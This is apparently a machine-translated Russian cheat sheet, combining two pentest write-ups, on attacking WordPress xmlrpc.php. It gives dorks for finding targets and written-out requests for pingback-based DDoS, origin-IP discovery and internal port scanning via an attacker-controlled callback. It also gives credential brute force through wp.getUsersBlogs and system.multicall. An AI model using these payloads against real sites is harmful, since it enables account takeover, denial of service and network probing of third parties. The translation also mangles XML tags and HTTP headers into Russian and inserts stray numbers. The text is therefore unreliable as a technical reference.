Использование xmlrpc.php во всех версиях WordPress

XML-RPC в WordPress на самом деле представляет собой API, который позволяет разработчикам, создающим сторонние приложения и службы, взаимодействовать с вашим сайтом WordPress. API XML-RPC, который WordPress предоставляет несколько ключевых функций, включая:

  • Опубликовать сообщение
  • Редактировать сообщение
  • Удалить сообщение.
  • Загрузить новый файл (например, изображение для поста)
  • Получить список комментариев
  • Редактировать комментарии

Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря XML-RPC.

К сожалению, при обычной установке (без изменения настроек и/или конфигураций) WordPress интерфейс XML-RPC открывает два вида атак:

  • XML-RPC pingbacks
  • Атаки грубой силы через XML-RPC

Согласно документации WordPress (https://codex.

wordpress.org/XML-RPC_Support), функциональность XML-RPC включена по умолчанию, начиная с WordPress 3.5.

Обратите внимание, что в этом руководстве/шпаргалке домен «example.com» на самом деле является примером и может быть заменен вашей конкретной целью.

Дорки для поиска потенциальных целей

Хочу добавить, что любое противоправное действие является вашим собственным , и я не могу нести ответственность за ваши действия против уязвимой цели. Тестируйте только там, где вам разрешено это делать. Вызовите публичные, известные награды за обнаружение ошибок и заработайте уважение в сообществе.

При этом во время вознаграждения за обнаружение ошибок или оценки тестирования на проникновение мне нужно было определить все уязвимые цели WordPress на всех поддоменах, следуя правилу 9.0045 *.example.com

. В этом конкретном случае я полагался на Google dorks, чтобы быстро обнаружить все потенциальные цели:

  • inurl:"/xmlrpc. php?rsd" + ограничения области
  • intitle:"WordPress" inurl:"readme.html" + ограничения области видимости = общее обнаружение wordpress
  • allinurl:"wp-content/plugins/" + ограничения области видимости = общее обнаружение wordpress

Поиск серверов XML-RPC на WordPress:

Шаги для проверки:

  1. Убедитесь, что вы ориентируетесь на сайт WordPress.
  2. Убедитесь, что у вас есть доступ к файлу xmlrpc.php . Как правило, он находится по адресу https://example.com/xmlrpc.php и отвечает на запрос GET следующим образом: Сервер XML-RPC принимает только запросы POST.
  3. Бессмысленно нацеливаться на сервер XML-RPC, который отключен/жестко закодирован/подделан/не работает. Поэтому проверим его работоспособность, отправив следующий запрос:

Почтовый запрос:

 POST /xmlrpc.php HTTP/1.1
Хост: example.com
Длина контента: 135
 0" кодировка="utf-8"?>
<вызов метода> system.listMethods <параметры>

Нормальный ответ должен быть:

 HTTP/1.1 200 OK
Дата: пн, 01 июля 2019 г., 17:13:30 по Гринвичу
Сервер: Апач
Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка
Подключение: закрыть
Варьировать: Accept-Encoding
Referrer-Policy: нет-реферера-при-понижении
Длина контента: 4272
Тип содержимого: текст/xml; кодировка = UTF-8

<методответ>
  <параметры>
    <параметр>
      <значение>
      <массив><данные>
  system.multicall
  системные.listMethods
system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt. publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories
mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost
blogger. getRecentPosts
blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp.getRevisions wp.getPostTypes wp.getPostType wp.getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList
wp.newComment
wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp. getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile
wp.uploadFile
wp.suggestCategories wp.deleteCategory wp.newCategory wp.getTags wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp.newPage wp.getPages wp.getPage wp.editProfile wp.getProfile
wp.getUsers wp.getUser wp. getТаксономии wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp.newTerm wp.getPosts wp.getPost wp.deletePost wp.editPost
wp.newPost wp.getUsersBlogs

Обратите внимание, что при отсутствии приведенного выше примера ответа приступать к реальному тестированию двух уязвимостей довольно бессмысленно. Ответ может отличаться в зависимости от настроек и конфигураций установки WordPress.

  1. Если есть вывод для system.listMethods , то рекомендуется взаимодействовать по крайней мере с самым основным методом demo.
    sayHello
    .

Запрос:

 ПУБЛИКАЦИЯ /xmlrpc.php HTTP/1.1
Хост: example.com
Длина содержимого: 130

<вызов метода>
demo.sayHello
<параметры>

 

Ответ:

 HTTP/1.1 200 ОК
Дата: пн, 01 июля 2019 г., 17:19:05 по Гринвичу
Сервер: Апач
Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка
Подключение: закрыть
Варьировать: Accept-Encoding
Referrer-Policy: нет-реферера-при-понижении
Длина контента: 181
Тип содержимого: текст/xml; кодировка = UTF-8

<методответ>
  <параметры>
<параметр> <значение> Здравствуйте!

Атаки XML-RPC pingbacks

В этом случае злоумышленник может использовать стандартный XML-RPC API для выполнения обратных вызовов в следующих целях:

  1. Распределенный отказ в обслуживании (DDoS) атаки — Злоумышленник выполняет метод pingback. ping из нескольких уязвимых установок WordPress против одной незащищенной цели (уровень ботнета).
  2. Обход защиты Cloudflare — Злоумышленник выполняет pingback.ping метод из одной уязвимой установки WordPress, защищенной CloudFlare, на общедоступный хост, контролируемый злоумышленником (например, VPS), чтобы раскрыть общедоступный IP-адрес цели, что позволяет обойти любую защиту на уровне DNS.
  3. XSPA (Межсайтовая атака порта) — Злоумышленник может выполнить метод pingback.ping из одной уязвимой установки WordPress на тот же хост (или другой внутренний/частный хост) на разных портах. Открытый порт или внутренний хост можно определить, наблюдая за разницей во времени ответа и/или просматривая ответ на запрос.

Ниже представлен простой пример запроса с использованием предоставленного PostBin URL-адреса в качестве обратного вызова:

 POST /xmlrpc.php HTTP/1.1
Хост: example. com
Длина контента: 303

<вызов метода>
pingback.ping
<параметры>
<параметр>
https://postb.in/1562017983221-43771991
<параметр> https://example.com/

Пример ответа:

 HTTP/1.1 200 OK
Дата: пн, 01 июля 2019 г., 21:53:56 по Гринвичу
Сервер: Апач
Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка
Подключение: закрыть
Варьировать: Accept-Encoding
Referrer-Policy: нет-реферера-при-понижении
Длина контента: 370
Тип содержимого: текст/xml; кодировка = UTF-8

<методответ>
  <ошибка>
    <значение>
      <структура>
        <участник>
          Код ошибки
          0
        
        <участник>
          строка_ошибки
          <значение><строка>
        
      
    
  

 

Выходные данные PostBin:

Атаки методом грубой силы

Иногда единственный способ обойти ограничение или блокировку запросов при атаке методом грубой силы на сайт WordPress — это использовать слишком забытый XML-RPC API .

Следующий запрос представляет наиболее распространенную атаку грубой силы:

 POST /xmlrpc.php HTTP/1.1
Хост: example.com
Длина контента: 235

<вызов метода>
wp.getUsersBlogs
<параметры>
\{\{ваше имя пользователя\}\}
\{\{ваш пароль\}\}


 

Приведенный выше запрос может быть отправлен в Burp Intruder (например) с различными наборами учетных данных. Обратите внимание, что даже если вы угадали пароль или нет, код ответа всегда будет 200 . Я настоятельно рекомендую искать ошибки/сообщения в теле ответа.

Обеспокоены отправкой большого количества запросов к цели? — Не беспокойтесь. WordPress XML-RPC по умолчанию позволяет злоумышленнику выполнить один запрос и перебрать сотни паролей.

Для следующего запроса требуются разрешения для методов system.multicall и wp. getUsersBlogs :

 POST /xmlrpc.php HTTP/1.1
Хост: example.com
Длина контента: 1560

system.multicall
methodNamewp.getUsersBlogsparams< значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}<значение><строка>\{\ { Ваш пароль \}\}
methodNamewp.getUsersBlogsparams< значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}<значение><строка>\{\ { Ваш пароль \}\}
methodNamewp. getUsersBlogsparams< значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}<значение><строка>\{\ { Ваш пароль \}\}
methodNamewp.getUsersBlogsparams< значение><массив><данные><значение><массив><данные><значение><строка>\{\{ Ваше имя пользователя \}\}<значение><строка>\{\ { Ваш пароль \}\}

 

Ответ будет выглядеть так:

 HTTP/1.1 200 OK
Дата: пн, 01 июля 2019 г., 23:02:55 по Гринвичу
Сервер: Апач
Строгая транспортная безопасность: max-age=63072000; включить субдомены; предварительная загрузка
Подключение: закрыть
Варьировать: Accept-Encoding
Referrer-Policy: нет-реферера-при-понижении
Длина содержимого: 1043
Тип содержимого: текст/xml; кодировка = UTF-8
 0" кодировка="UTF-8"?>
<методответ>
  <параметры>
    <параметр>
      <значение>
      <массив><данные>
  <значение><структура>
  faultCode403
  faultStringНеверное имя пользователя или пароль.

  <значение><структура>
  faultCode403
  faultStringНеверное имя пользователя или пароль.

  <значение><структура>
  faultCode403
  faultStringНеверное имя пользователя или пароль.

  <значение><структура>
  faultCode403
  faultStringНеверное имя пользователя или пароль.


      
    
  

 

В приведенном выше примере я протестировал 4 разных набора учетных данных, используя один запрос. Вам просто нужно заменить {{Ваше имя пользователя}} и {{Ваш пароль}} своими комбинациями.

Вот и все, если я что-то упустил, пишите в комментариях и удачной охоты!

Другие ссылки:

  • https://www.wordfence.com/blog/2015/10/should-you-disable-xml-rpc-on-wordpress/
  • https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
  • https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc-brute-v2.py

WordPress xmlrpc.php — распространенные уязвимости и как их использовать | +Bilal Rizwan

Здравствуйте! , Как дела ? , Билал Ризван здесь, надеюсь, у вас все хорошо и вы получаете удовольствие от обучения в сообществе, как и я.

О чем этот пост?
Возможно, вы видели файл /xmlrpc.php на многих сайтах WordPress, которые вы посещаете, возможно, вы даже пытались найти ошибку (сервер XML-RPC принимает только запросы POST), которая появляется при посещении http://site. com/wp/xmlrpc.php В этом посте я постараюсь выделить распространенные уязвимости, связанные с файлом xmlrpc.php.

XML-RPC в WordPress на самом деле является API или «интерфейсом прикладной программы». Это дает разработчикам, которые создают мобильные приложения, настольные приложения и другие сервисы, возможность общаться с вашим сайтом WordPress. API XML-RPC, который предоставляет WordPress, дает разработчикам возможность писать приложения (для вас), которые могут делать многие вещи, которые вы можете делать при входе в WordPress через веб-интерфейс. К ним относятся:

Опубликовать сообщение

Редактировать сообщение

Удалить сообщение.

Загрузить новый файл (например, изображение для поста)

Получить список комментариев

Редактировать комментарии

Основные недостатки, связанные с XML-RPC : WordPress с использованием xmlrpc . руб.
давайте посмотрим, как это делается на самом деле и как вы можете использовать это, пытаясь протестировать сайт WordPress на наличие потенциальных уязвимостей

Атака BruteForce
  1. Это то, что вы изначально видите, когда пытаетесь открыть xmlrpc.php, расположенный по адресу
    http:///<каталог wordpress>/xmlrpc.php

2) Откройте свой прокси (я использую burp) и повторно отправьте запрос

3) Первое, что нужно сделать сейчас, это отправить запрос POST и перечислить все доступные методы, почему? потому что именно так мы узнаем, какие действия вообще возможны, и потенциально используем одно из них для атаки.
Чтобы перечислить все методы Отправьте запрос POST со следующими данными POST, как показано на рисунке, вы получите ответ со всеми доступными методами


system.listMethods

Найдите следующее, если вы обнаружите, что они доступны, мы можем продолжить атаку
*)wp. getUserBlogs
*)wp.getCategories
*)metaWeblog .getUsersBlogs
ПРИМЕЧАНИЕ: есть еще несколько методов, но они наиболее распространены, и я имел дело с ними раньше, поэтому просто упомяну те, которые я могу вспомнить прямо сейчас.

3) Теперь, чтобы выполнить вход в систему методом перебора, отправьте следующее в запросе POST, если вы знаете какие-либо действительные имена пользователей, которые были бы еще лучше
, я бы рекомендовал wp-scan , чтобы найти список действительных имен пользователей , почти все время компании никогда не пытаются предотвратить перечисление имен пользователей на сайтах WordPress, не знаю почему.


wp.getUsersBlogs

admin
pass< /param>

4) теперь вы можете просто загрузить это злоумышленнику и выполнить брутфорс.
Если вы введете неправильный пароль или правильный, вы получите ответ 200 OK, поэтому вы должны решить, какой из них правильный, а какой неправильный, на основе размера ответа, если вы используете нарушитель 9.0196 ответ при правильном входе в систему будет выглядеть следующим образом

Другие атаки ?


XSPA или просто сканирование портов!
  1. Перечислите все методы и найдите следующие
    pingback.ping’

2) Если вам удалось найти строку pingback.ping, тогда давайте продолжим и попробуем вернуть пинг на наш сервер, вы можете использовать netcat, или сервер python, сервер nodejs, или даже apache регистрирует все, что вы хотите. Я буду использовать http-сервер nodejs.
Запустите свой сервер и отправьте следующий запрос в post data


pingback.ping

http://<ВАШ СЕРВЕР >:
http://<НЕКОТОРЫЙ ДЕЙСТВИТЕЛЬНЫЙ БЛОГ С САЙТА >

Здесь нужно заполнить 2 строки
1) Ссылка на ваш сервер
2) Ссылка на какое-то действительное сообщение с сайта WordPress, которое используется для обратного вызова

в ответ, если вы получите код ошибки и значение больше 0 (17 ), то это означает, что порт открыт + вы можете проверить это, проверив журналы вашего сервера.